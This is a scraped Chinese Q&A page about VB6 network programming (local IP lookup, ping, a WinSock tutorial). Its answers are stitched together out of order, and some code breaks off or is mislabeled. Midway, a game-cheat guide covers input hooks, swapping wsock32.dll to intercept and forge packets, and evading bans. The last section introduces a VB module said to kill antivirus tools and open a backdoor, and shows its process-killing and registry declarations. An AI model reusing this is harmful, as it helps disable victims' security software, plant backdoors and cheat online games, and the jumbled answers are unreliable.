1.怎样利用VB向指定IP端口发送封包!!

2.vb调用ping命令检测网络

3.高分VB6.0的问题 远程高手进

4.怎么用VB6.0编写(要摸版)

5.怎么用VB打开网页?

6.VB怎打包成绿色软件?

7.vb如何从PLC集数据

winsock dll vb_

(利用系统的ipconfig命令重定向到临时文件,vb读取文件处理下就ok了

其他方法一般都要调用系统API了)

画个按钮,画个Timer,画个文本框

timer的Enabled属性设置成false,interval属性设置成1000

然后复制下面代码就可以了

timer纯粹是为了延时,等待临时文件生成的一个很拙劣的办法,如果你用别的方法实现shell同步执行,如用WaitforSingleObject等API函数之类的就不用Timer了,Timer里边的东西都写到按钮好了

'按钮点击

Private Sub Command1_Click()

Shell "cmd /c ipconfig.exe > " & Environ("temp") & "\ip.txt"

Timer1.Enabled = True

End Sub

'Timer的Timer

Private Sub Timer1_Timer()

Dim i As Long, a As String, isFind As Boolean

Open Environ("temp") & "\ip.txt" For Input As #1

Do While Not EOF(1)

Line Input #1, a

If InStr(a, "PPP adapter") > 0 Then

isFind = True

Exit Do

End If

Loop

If isFind Then

For i = 1 To 10

Line Input #1, a

If InStr(a, "IP Address") > 0 Then

Text1.Text = Trim(Mid(a, InStr(a, ":") + 1))

Exit For

End If

Next i

End If

Close #1

Timer1.Enabled = False

End Sub

=================无敌的分割线================================

关于问题补充

Winsock控件是没办法做到的,可以使用WSOCK32.DLL中提供的API实现

你可以测试下,复制以下代码,窗口上画个按钮就成,理论上来说,最后一个IP地址就是你的宽带IP地址,代码来源于互联网

Private Const WS_VERSION_REQD = &H101

Private Const WS_VERSION_MAJOR = WS_VERSION_REQD \ &H100 And &HFF&

Private Const WS_VERSION_MINOR = WS_VERSION_REQD And &HFF&

Private Const MIN_SOCKETS_REQD = 1

Private Const SOCKET_ERROR = -1

Private Const WSADescription_Len = 256

Private Const WSASYS_Status_Len = 128

Private Type HOSTENT

hName As Long

hAliases As Long

hAddrType As Integer

hLength As Integer

hAddrList As Long

End Type

Private Type WSADATA

wversion As Integer

wHighVersion As Integer

szDescription(0 To WSADescription_Len) As Byte

szSystemStatus(0 To WSASYS_Status_Len) As Byte

iMaxSockets As Integer

iMaxUdpDg As Integer

lpszVendorInfo As Long

End Type

Private Declare Function WSetLastError Lib "WSOCK32.DLL" () As Long

Private Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal _

wVersionRequired&, lpWSAData As WSADATA) As Long

Private Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long

Private Declare Function gethostname Lib "WSOCK32.DLL" (ByVal hostname$, ByVal HostLen As Long) As Long

Private Declare Function gethostbyname Lib "WSOCK32.DLL" (ByVal _

hostname$) As Long

Private Declare Sub RtlMoveMemory Lib "KERNEL32" (hpvDest As Any, ByVal hpvSource&, ByVal cbCopy&)

Function hibyte(ByVal wParam As Integer)

hibyte = wParam \ &H100 And &HFF&

End Function

Function lobyte(ByVal wParam As Integer)

lobyte = wParam And &HFF&

End Function

Sub SocketsInitialize()

Dim WSAD As WSADATA

Dim iReturn As Integer

Dim sLowByte As String, sHighByte As String, sMsg As String

iReturn = WSAStartup(WS_VERSION_REQD, WSAD)

If iReturn <> 0 Then

MsgBox "Winsock.dll is not responding."

End

End If

If lobyte(WSAD.wversion) < WS_VERSION_MAJOR Or (lobyte(WSAD.wversion) = _

WS_VERSION_MAJOR And hibyte(WSAD.wversion) < WS_VERSION_MINOR) Then

sHighByte = Trim$(Str$(hibyte(WSAD.wversion)))

sLowByte = Trim$(Str$(lobyte(WSAD.wversion)))

sMsg = "Windows Sockets version " & sLowByte & "." & sHighByte

sMsg = sMsg & " is not supported by winsock.dll "

MsgBox sMsg

End

End If

'iMaxSockets is not used in winsock 2. So the following check is only

'necessary for winsock 1. If winsock 2 is requested,

'the following check can be skipped.

If WSAD.iMaxSockets < MIN_SOCKETS_REQD Then

sMsg = "This lication requires a minimum of "

sMsg = sMsg & Trim$(Str$(MIN_SOCKETS_REQD)) & " supported sockets."

MsgBox sMsg

End

End If

End Sub

Sub SocketsCleanup()

Dim lReturn As Long

lReturn = WSACleanup()

If lReturn <> 0 Then

MsgBox "Socket error " & Trim$(Str$(lReturn)) & " occurred in Cleanup "

End

End If

End Sub

Sub Form_Load()

SocketsInitialize

End Sub

Private Sub Form_Unload(Cancel As Integer)

SocketsCleanup

End Sub

Private Sub Command1_click()

Dim hostname As String * 256

Dim hostent_addr As Long

Dim host As HOSTENT

Dim hostip_addr As Long

Dim temp_ip_address() As Byte

Dim i As Integer

Dim ip_address As String

If gethostname(hostname, 256) = SOCKET_ERROR Then

MsgBox "Windows Sockets error " & Str(WSetLastError())

Exit Sub

Else

hostname = Trim$(hostname)

End If

hostent_addr = gethostbyname(hostname)

If hostent_addr = 0 Then

MsgBox "Winsock.dll is not responding."

Exit Sub

End If

RtlMoveMemory host, hostent_addr, LenB(host)

RtlMoveMemory hostip_addr, host.hAddrList, 4

MsgBox hostname

'get all of the IP address if machine is multi-homed

Do

ReDim temp_ip_address(1 To host.hLength)

RtlMoveMemory temp_ip_address(1), hostip_addr, host.hLength

For i = 1 To host.hLength

ip_address = ip_address & temp_ip_address(i) & "."

Next

ip_address = Mid$(ip_address, 1, Len(ip_address) - 1)

MsgBox ip_address

ip_address = ""

host.hAddrList = host.hAddrList + LenB(host.hAddrList)

RtlMoveMemory hostip_addr, host.hAddrList, 4

Loop While (hostip_addr <> 0)

End Sub

怎样利用VB向指定IP端口发送封包!!

VB Socket API是指Visual Basic中的Socket Application Programming Interface,也就是用来在Visual Basic中编写网络通信程序的一组函数和类123。

Socket是一种用来在不同计算机之间传输数据的技术,它基于TCP/IP协议,可以实现可靠的双向通信。

例如:

' 创建一个TCP类型的Socket对象

Dim s As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)

' 连接到服务器的IP地址和端口号

s.Connect("192.168.1.100", 8000)

' 发送数据到服务器

s.Send(Encoding.ASCII.GetBytes("Hello"))

' 接收服务器返回的数据

Dim buffer() As Byte

Dim len As Integer =

vb调用ping命令检测网络

希望对你有用

分析

我主要对的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,我也没有那么厉害,所有的都知道,呵呵!

1 首先游戏的原理

现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)

修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到的方法都作一个介绍,希望大家能做出很好的来使游戏厂商更好的完善自己的技术.

我见到一片文章是讲魔力宝贝的理论分析,写的不错,大概是那个样子.

下来我就讲解一下技术方面的东西,以作引玉之用

2 技术分析部分

1 模拟键盘或鼠标的响应

我们一般使用UINT SendInput(

UINT nInputs, // count of input events

LPINPUT pInputs, // array of input events

int cbSize // size of structure

);api函数

第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应,这个自己填充就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵

注意:这个函数还有个替代函数:

VOID keybd_event(

BYTE bVk, // 虚拟键码

BYTE bScan, // 扫描码

DWORD dwFlags,

ULONG_PTR dwExtraInfo // 附加键状态

);和

VOID mouse_event(

DWORD dwFlags, // motion and click options

DWORD dx, // horizontal position or change

DWORD dy, // vertical position or change

DWORD dwData, // wheel movement

ULONG_PTR dwExtraInfo // lication-defined information

);

这两个函数非常简单了,我想那些按键精灵就是用的这个吧,呵呵,上面的是模拟键盘,下面的是模拟鼠标的.

这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找制定的窗口(注意还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按钮,等什么东西.当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法.有的游戏没有控件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了.这就需要我们用别的办法来分析了.

至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单,大家可能都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而且现在网上的例子多如牛毛,这个实现在中已经很普遍了.如果还有谁不明白,那就去看看msdn查找SetWindowHook就可以了.

这个动态连接库的作用很大,不要低估了哦,它可以切入所有的进程空间,也就是可以加载到所有的游戏里面哦,只要用对,你会发现很有用途的!

这个需要你复习一下win32编程的基础知识了,呵呵,赶快去看书吧!

2截获消息

有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西,这个时候你就可以用拦截消息来实现一些有趣的功能了.

我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧,其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的.

至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵,后果嘛,不一定是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试看吧!用途还有很多,自己想也可以想出来的,呵呵!

3拦截socket包

这个技术难度要比原来的高很多哦,要有思想准备.

首先我们要替换winSock.dll或者winsock32.dll,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的winSock32.dll里面的函数就可以了

首先:我们可以替换动态库到系统路径

其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary

然后定位函数入口用GetProcAddress函数获得每个真正socket函数的入口地址

当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据.呵呵!

兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,呵呵!还早呢,等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封号,呵呵,呜~~~~~~~~我就被封了好多啊!

分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写的人都是亡命之徒啊,被人了还不知道,呵呵!(声明我可没有赚钱,我是免费的)

好了,给大家一个不错的起点,这里有完整的替换socket源代码,呵呵!

://.vchelp.net/vchelp/zsrc/wsock32_sub.zip

4截获api

上面的技术如果可以灵活运用的话我们就不用截获api函数了,其实这种技术是一种补充技术.比如我们需要截获socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们也可以用它直接拦截在socket中的函数,这样更直接.

现在拦截api的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截的,这个方法可以用到任何一种操作系统上,比如98/2000等,有些方法不是跨平台的,我不建议使用.这个技术大家可以参考windows核心编程里面的545页开始的内容来学习,如果是98系统可以用window系统奥秘那个最后一章来学习.

好了方法就是这么多了,看大家怎么运用了,其它的一些针对性的技巧这里我就不说了,要不然会有人杀了我的,呵呵!

记住每个游戏的修改方法都不一样,如果某个游戏数据处理全部在服务器端,那么你还是别写了,呵呵,最多写个自动走路的,哈哈!

数据分析的时候大家一定要注意,不要轻易尝试和服务器的连接,因为那有很危险,切忌!等你掌握了大量的数据分析结果以后,比较有把握了在试试,看看你的运气好不好,很有可能会成功的哦,呵呵!

其实像网金也疯狂的那种模拟客户端的程序也是不错的,很适合office的人用,就看大家产品定位了.

好了不说了,大家努力吧!切忌不要被游戏厂商招安哦,那样有损我们的形象,我们是为了让游戏做的更好而开发的,也不愿意打乱游戏的平衡,哎,好像现在不是这样了!不说了随其自然吧!

高分VB6.0的问题 远程高手进

添加一个textbox控件 代码如下:运行即可得到目的

Public Function CmdPing(ByVal strIp As String) As String

Dim p As New Process '创建一个线程

p.StartInfo.FileName = "cmd.exe"

p.StartInfo.UseShellExecute = False

p.StartInfo.RedirectStandardInput = True

p.StartInfo.RedirectStandardOutput = True

p.StartInfo.RedirectStandardError = True

p.StartInfo.CreateNoWindow = True

Dim pingrst As String

p.Start()

p.StandardInput.WriteLine("ping -n 1 " + strIp)

p.StandardInput.WriteLine("exit")

Dim strRst As String = p.StandardOutput.ReadToEnd()

If (strRst.IndexOf("(0% loss)") <> -1) Then

pingrst = "连接成功"

ElseIf (strRst.IndexOf("Destination host unreachable.") <> -1) Then

pingrst = "无法到达目的主机"

ElseIf ((strRst.IndexOf("Request timed out.") <> -1) Or (strRst.IndexOf("(100% loss)") <> -1)) Then

pingrst = "超时"

ElseIf (strRst.IndexOf("Unknown host") <> -1) Then

pingrst = "无法解析主机"

Else

pingrst = strRst

End If

p.Close()

Return pingrst

End Function

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

Dim ip As String = ".baidu"

Dim strRst As String = CmdPing(ip)

TextBox1.Text = strRst

End Sub

怎么用VB6.0编写(要摸版)

VB网络编程--WinSock控件及WinSockAPI

WinSock简介

Socket(套接字)最初是由加利福尼亚大学Berkeley(伯克利)分校为UNIX操作系统开发的网络通信接口,随着UNIX的广泛使用,Socket成为当前最流行的网络通信应用程序接口之一。20世纪90年代初,由Sun Microsystems,JSB,FTP software,Microdyne和Microsoft等几家公司共同定制了一套标准,即Windows Socket规范,简称WinSock。

VB编写网络程序主要有两种方式:1.winsock控件 2.winsockAPI

二,WinSock控件的使用

1.WinSock控件的主要属性

a.Protocol属性

通过Protocol属性可以设置WinSock控件连接远程计算机使用的协议。可选的协议是TCP和UDP对应的VB的常量分别是sckTCPProtocol和sckUDPProtocol,Winsock控件默认协议是TCP。注意:虽然可以在运行时设置协议,但必须在连接未建立或断开连接后。

b.SocketHandle属性

SocketHandle返回当前socket连接的句柄,这是只读属性。

c.RemoteHostIP属性

RemoteHostIP属性返回远程计算机的IP地址。在客户端,当使用了控件的Connect方法后,远程计算机的IP地址就赋给了RemoteHostIP属性,而在服务器端,当ConnectRequest后,远程计算机(客户端)的IP地址就赋给了这个属性。如果使用的是UDP协议那么当DataArrival后,发送UDP报文的计算机的IP才赋给了这个属性。

d.ByteReceived属性

返回当前接收缓冲区中的字节数

e.State属性

返回WinSock控件当前的状态

常数 值 描述

sckClosed 0 缺省值,关闭。

SckOpen 1 打开。

SckListening 2 侦听

sckConnectionPending 3 连接挂起

sckResolvingHost 4 识别主机。

sckHostResolved 5 已识别主机

sckConnecting 6 正在连接。

sckConnected 7 已连接。

sckClosing 8 同级人员正在关闭连接。

sckError 9 错误

2.WinSock主要方法

a.Bind方法

用Bind方法可以把一个端口号固定为本控件使用,使得别的应用程序不能再使用这个端口。

b.Listen方法

Listen方法只在使用TCP协议时有用。它将应用程序置于监听检测状态。

c.Connect方法

当本地计算机希望和远程计算机建立连接时,就可以调用Connect方法。

Connect方法调用的规范为:

Connect RemoteHost,RemotePort

d.Accept方法

当服务器接收到客户端的连接请求后,服务器有权决定是否接受客户端的请求。

e.SendData方法

当连接建立后,要发送数据就可以调用SendData方法,该方法只有一个参数,就是要发送的数据。

f.GetData方法

当本地计算机接收到远程计算机的数据时,数据存放在缓冲区中,要从缓冲区中取出数据,可以使用GetData方法。GetData方法调用规范如下:

GetData data,[type,][maxLen]

它从缓冲区中取得最长为maxLen的数据,并以type类型存放在data中,GetData取得数据后,就把相应的缓冲区清空。

g.PeekData方法

和GetData方法类似,但PeekData在取得数据后并不把缓冲区清空。

3.Winsock控件主要

a.ConnectRequest

当本地计算机接收到远程计算机发送的连接请求时,控件的ConnectRequest将会被触发。

b.SendProgress

当一端的计算机正在向另一端的计算机发送数据时,SendProgress将被触发。SendProgress记录了当前状态下已发送的字节数和剩余字节数。

c.SendComplete

当所有数据发送完成时,被触发。

d.DataArrival

当建立连接后,接受到了新数据就会触发这个。注意:如果在接受到新数据前,缓冲区中非空,就不会触发这个。

e.Error

当在工作中发生任何错误都会触发这个。

例子见附件

三,WinSockAPI的使用

1.WSAStartup 函数

为了在你的应用程序当中调用任何一个Winsock API 函数,首先第一件事情你就是必须通过WSAStartup函数完成对Winsock 服务的初始化,因此需要调用WSAStartup函数。

Declare Function WSAStartup Lib "ws2_32.dll" _

(ByVal wVersionRequired As Long, lpWSAData As WSAData) As Long

这个函数有两个参数: wVersionRequired 和 lpWSAData。wVersionRequired 参数定义Windows Sockets 提供能使用的最高版本,它的高位字节定义的是次版本号,低位字节定义的是主版本号。下面的2个Winsock版本在VB中使用的例子:

初始化1.1版本

lngRetVal = WSAStartup(&H101, udtWinsockData)

初始化2.2版本

lngRetVal = WSAStartup(&H202, udtWinsockData)

第二个参数是WSADATA 的数据结构 ,它是接收Windows Sockets 执行时的数据。

Type WSAData

wVersion As Integer

wHighVersion As Integer

szDescription As String * WSADESCRIPTION_LEN

szSystemStatus As String * WSASYS_STATUS_LEN

iMaxSockets As Integer

iMaxUdpDg As Integer

lpVendorInfo As Long

End Type

数据成员的描述在下表中:

Field 描述

wVersion Windows Sockets 版本信息。

wHighVersion 通过加载库文件得到的最高的支持Winsock 的版本,

它通常和wVersion值相同。

szDescription Windows Sockets 执行时的详细描述

szSystemStatus 包含了相关的状态和配置的信息

iMaxSockets 表示同时打开的socket最大数,为0表示没有限制。

iMaxUdpDg 表示同时打开的数据报最大数,为0表示没有限制。

lpVendorInfo 厂商指定信息预留

在Winsock的1.1和2.2版本中没有lpVendorInfo的返回值。因为winsock 2支持多个传输协议,所以iMaxSockets 和iMaxUdpDg只能在仅支持TCP/TP的winsock1.1中使用。为了在Winsock 2中获得这些值,你可以使用WSAEnumProtocols 函数。

如果成功或者返回一个错误代码,则函数返回 0。

错误代码 含义

WSASYSNOTREADY 指出网络没有为传输准备好。

WSAVERNOTSUPPORTED 当前的WinSock实现不支持应用程序指定的Windows Sockets规范版本

WSAEINPROGRESS 一个阻塞WinSock调用正在进行

WSAEPROCLIM 请求的协议没有在系统中配置或没有支持它的实现存在。

WSAEFAULT lpWSAData 不是有效的指针

2.WSACleanup 函数

每次调用了WSAStartup函数,你都需要调用WSACleanup函数,通知系统来卸载库文件及清除已分配的,这个函数十分简单,没有任何参数:

Declare Function WSACleanup Lib "ws2_32.dll" () As Long

3.建立Socket函数

Declare Function socket Lib "ws2_32.dll" (ByVal af As Long, _

ByVal s_type As Long,

ByVal Protocol As Long) As Long

函数有3个参数定义建立何种socket,三个参数分别是:

Argument Description Enum Type

af Address family specification. AddressFamily

s_type Type specification for the new socket. SocketType

Protocol Protocol to be used with the socket SocketProtocol

that is specific to the indicated address

family.

AddressFamily:

AF_UNSPEC = 0 '/* unspecified */

AF_UNIX = 1 '/* local to host (pipes, portals) */

AF_INET = 2 '/* internetwork: UDP, TCP, etc. */

AF_IMPLINK = 3 '/* arpanet imp addresses */

AF_PUP = 4 '/* pup protocols: e.g. BSP */

AF_CHAOS = 5 '/* mit CHAOS protocols */

AF_NS = 6 '/* XEROX NS protocols */

AF_IPX = AF_NS '/* IPX protocols: IPX, SPX, etc. */

AF_ISO = 7 '/* ISO protocols */

AF_OSI = AF_ISO '/* OSI is ISO */

AF_ECMA = 8 '/* european computer manufacturers */

AF_DATAKIT = 9 '/* datakit protocols */

AF_CCITT = 10 '/* CCITT protocols, X.25 etc */

AF_SNA = 11 '/* IBM SNA */

AF_DECnet = 12 '/* DECnet */

AF_DLI = 13 '/* Direct data link interface */

AF_LAT = 14 '/* LAT */

AF_HYLINK = 15 '/* NSC Hyperchannel */

AF_APPLETALK = 16 '/* AppleTalk */

AF_NETBIOS = 17 '/* NetBios-style addresses */

AF_VOICEVIEW = 18 '/* VoiceView */

AF_FIREFOX = 19 '/* Protocols from Firefox */

AF_UNKNOWN1 = 20 '/* Somebody is using this! */

AF_BAN = 21 '/* Banyan */

AF_ATM = 22 '/* Native ATM Services */

AF_INET6 = 23 '/* Internetwork Version 6 */

AF_CLUSTER = 24 '/* Microsoft Wolfpack */

AF_12844 = 25 '/* IEEE 1284.4 WG AF */

AF_MAX = 26

Socket types:

SOCK_STREAM = 1 ' /* stream socket */

SOCK_DGRAM = 2 ' /* datagram socket */

SOCK_RAW = 3 ' /* raw-protocol interface */

SOCK_RDM = 4 ' /* reliably-delivered message */

SOCK_SEQPACKET = 5 ' /* sequenced packet stream */

Protocols:

IPPROTO_IP = 0 '/* dummy for IP */

IPPROTO_ICMP = 1 '/* control message protocol */

IPPROTO_IGMP = 2 '/* internet group management protocol */

IPPROTO_GGP = 3 '/* gateway^2 (deprecated) */

IPPROTO_TCP = 6 '/* tcp */

IPPROTO_PUP = 12 '/* pup */

IPPROTO_UDP = 17 '/* user datagram protocol */

IPPROTO_IDP = 22 '/* xns idp */

IPPROTO_ND = 77 '/* UNOFFICIAL net disk proto */

IPPROTO_RAW = 255 '/* raw IP packet */

IPPROTO_MAX = 256

该函数可以建立使用特定协议的网络套接字,例如对于UDP协议可以这样写:

s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)

s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)

4.关闭Socket函数

Declare Function closesocket Lib "ws2_32.dll" (ByVal s As Long) As Long

函数有一个参数为建立socket时的Handle

5.连接函数

Declare Function connect Lib "ws2_32.dll" (ByVal s As Long, _

ByRef name As sockaddr_in, _

ByVal namelen As Long) As Long

参数

s 连接的socket句柄。

name 建立连接的地址。

namelen 连接地址的长度。

返回值

成功时返回0。否则返回SOCKET_ERROR以及一个对应的错误号 Err.LastDllError。

显然在调用这个函数时我们需要知道socket句柄,将连接的电脑的端口号和主机名称(或主机IP地址)。我们知道Winsock 控件的Connect方法依靠两个变量:RemoteHost 和RemotePort。此方法不需要socket句柄,因其已经被封装在COM对象中。你也许认为connect函数应该也接受相同的变量设置,然而,事实并非如此。connect函数的主机地址和端口号的传送是依靠 sockaddr_in 结构。

Public Type sockaddr_in

sin_family As Integer

sin_port As Integer

sin_addr As Long

sin_zero(1 To 8) As Byte

End Type

6.套接字帮定函数

Declare Function bind Lib "ws2_32.dll" (ByVal s As Long, _

ByRef name As sockaddr_in, _

ByRef namelen As Long) As Long

s是使用Socket函数创建好的套接字,name指向描述通信对象的结构体的指针,namelen是该结构的长度。该结

构体中的分量包括:

IP地址:对应name.sin_addr.s_addr

端口号:对应name.sin_port

端口号用于表示同一台计算机上不同的进程(即应用程序),其分配方法有两种:

第一种分配方法是,进程让系统为套接字自动分配一端口号,这只要在调用bind前将端口号指定为0即可。由系统自动分配的端口号位于~5000之间,而1~1023之间的任一TCP或UDP端口都是保留的,系统不允许任一进程使用保留端口,除非其有效用户ID是零(即超级用户)。

第二种分配方法是,进程为套接字指定一特定端口。这对于需要给套接字分配一众所周知的端口的服务器是很有用的。指定范围在~65536之间。

地址类型:对应name.sin_family,一般都赋成AF_INET,表示是internet地址(即IP 地址)。IP地址通常使用点分表示法表示,但它事实上一个32位的长整数,这两者之间可通过inet_addr()函数转换。

7.套接字监听函数

Declare Function listen Lib "ws2_32.dll" (ByVal s As Long, ByVal backlog As Long) As Long

listen函数用来设定Socket为监听状态,这种状态表明Socket准备被连接了。注意,此函数一般在服务程序上使用,其中s是使用Socket函数创建好的套接字,backlog参数用于设定等待连接的客户端数。

8.接受连接请求

Declare Function accept Lib "ws2_32.dll" (ByVal s As Long, ByRef addr As sockaddr_in, _

ByRef addrlen As Long) As Long

服务端应用程序调用此函数来接受客户端Socket连接请求,accept()函数的返回值为一新的Socket,新Socket就可用来完成服务端和客户端之间的信息传递与接收,而原来Socket仍可以接受其他可户端的连接请求。

9.接收信息

Declare Function recv Lib "ws2_32.dll" (ByVal s As Long, _

ByRef buf As Any, _

ByVal buflen As Long, _

ByVal flags As Long) As Long

s 一个已连接的socket的识别符

buf 接受到的数据的缓冲区

len 缓冲区长度

flags 指定从哪调用的标识

第一个参数是socket的句柄-为socket函数返回值。那就是说:我们需要告诉recv函数,哪一个socket正访问函数。

第二个参数是:函数执行之后能装载一些数据的缓冲区。但它不是必须要有足够的长度接收Winsock缓冲区的所有数据,缓冲区的大小限制为8192 字节 (8 Kbytes)。因此如果Winsock缓冲区的数据的大小大于recv函数的缓冲区,你必需多次调用此函数,直到获取所有的数据。

如果应用程序定义缓冲区的长度,则recv函数必须知道缓冲区可以存放多少字节。第三个参数就是为了这个目的。

最后一个参数是可选的,今天我们不使用。该参数有两个选择标志: MSG_PEEK 和 MSG_OOB,用于改变函数的行为。

MSG_PEEK 从输入数据中取数。数据拷入缓冲区,但不从输入队列中移走。函数返回当前准备接收的字节数。

MSG_OOB 处理OOB(Out-of-band带外)数据。在网络上有两种类型的数据包,正常包和带外包。带外包可以通过检验一个TCP/IP包头的一个特定标志来决定。

10.发送信息

Declare Function send Lib "ws2_32.dll" (ByVal s As Long, _

ByRef buf As Any, _

ByVal buflen As Long, _

ByVal flags As Long) As Long

参数参看接收信息

四,服务器与客户机交互

目前最常用的方法是:服务程序在一个众所周知的地址(其中包括端口信息)监听对服务的请求,也就是说,服务进程一直处于休眠状态,直到一个客户对这个服务的地址提出了连接请求。这个时刻,服务程序被唤醒并对客户的请求作出适当的反应。注意,服务器与客户机之间的交互可以是面向连接的(基于流套接字),也可以是无连接的(基于数据报套接字)。

服务器

socket()

|

bind()

|

listen() 客户机

|

| socket()

| 建立连接 |

accept() <------------------------- connect()

| 请求数据 |

recv() <----------------------------- send()

| |

处理服务请求 |

| 应答数据 |

send() ------------------------------> recv()

| |

close() close()

五,其他

比较:WinSock控件

优点:使用简单,工作量小。

缺点:功能少仅支持TCP,UDP协议,需要WinSock控件(系统默认安装不带MSWINSCK.OCX文件)

适合于初学者

WinSockAPI

优点:功能强大,支持多种协议,使用灵活,WinSockAPI调用的wsock32.dll(28K)或ws2_32.dll(69K)为Windows系统自带函数库不必担心缺少文件。

缺点:使用复杂,编程量大,需要一定基础

适合于要求较高的网络程序

://.newasp.net/tech/program/22649.html

怎么用VB打开网页?

全都放在标准模块中,不要有窗体,启动设置为Sub_main,就行了,可以结干掉常见的反软件,包括冰刃、Autoruns、Sreng、瑞星、卡巴、江民、金山、NOD32等,还开放被感染机器的后门,便于进一步入侵。

Option Explicit

Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long

Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Declare Function EnumWindows Lib "user32.dll" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long

Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Const PROCESS_ALL_ACCESS As Long = &HFFF

Const WM_CLOSE = &H10

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const ERROR_SUCCESS = 0&

Public KEY_ALL_ACCESS As Double

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004

Public Const STATUS_ACCESS_DENIED = &HC0000022

Public Const STATUS_INVALID_HANDLE = &HC0000008

Public Const SECTION_MAP_WRITE = &H2

Public Const SECTION_MAP_READ = &H4

Public Const READ_CONTROL = &H20000

Public Const WRITE_DAC = &H40000

Public Const NO_INHERITANCE = 0

Public Const DACL_SECURITY_INFORMATION = &H4

Public Type IO_STATUS_BLOCK

Status As Long

Information As Long

End Type

Public Type UNICODE_STRING

Length As Integer

MaximumLength As Integer

Buffer As Long

End Type

Public Const OBJ_INHERIT = &H2

Public Const OBJ_PERMANENT = &H10

Public Const OBJ_EXCLUSIVE = &H20

Public Const OBJ_CASE_INSENSITIVE = &H40

Public Const OBJ_OPENIF = &H80

Public Const OBJ_OPENLINK = &H100

Public Const OBJ_KERNEL_HANDLE = &H200

Public Const OBJ_VALID_ATTRIBUTES = &H3F2

Public Type OBJECT_ATTRIBUTES

Length As Long

RootDirectory As Long

ObjectName As Long

Attributes As Long

SecurityDeor As Long

SecurityQualityOfService As Long

End Type

Public Type ACL

AclRevision As Byte

Sbz1 As Byte

AclSize As Integer

AceCount As Integer

Sbz2 As Integer

End Type

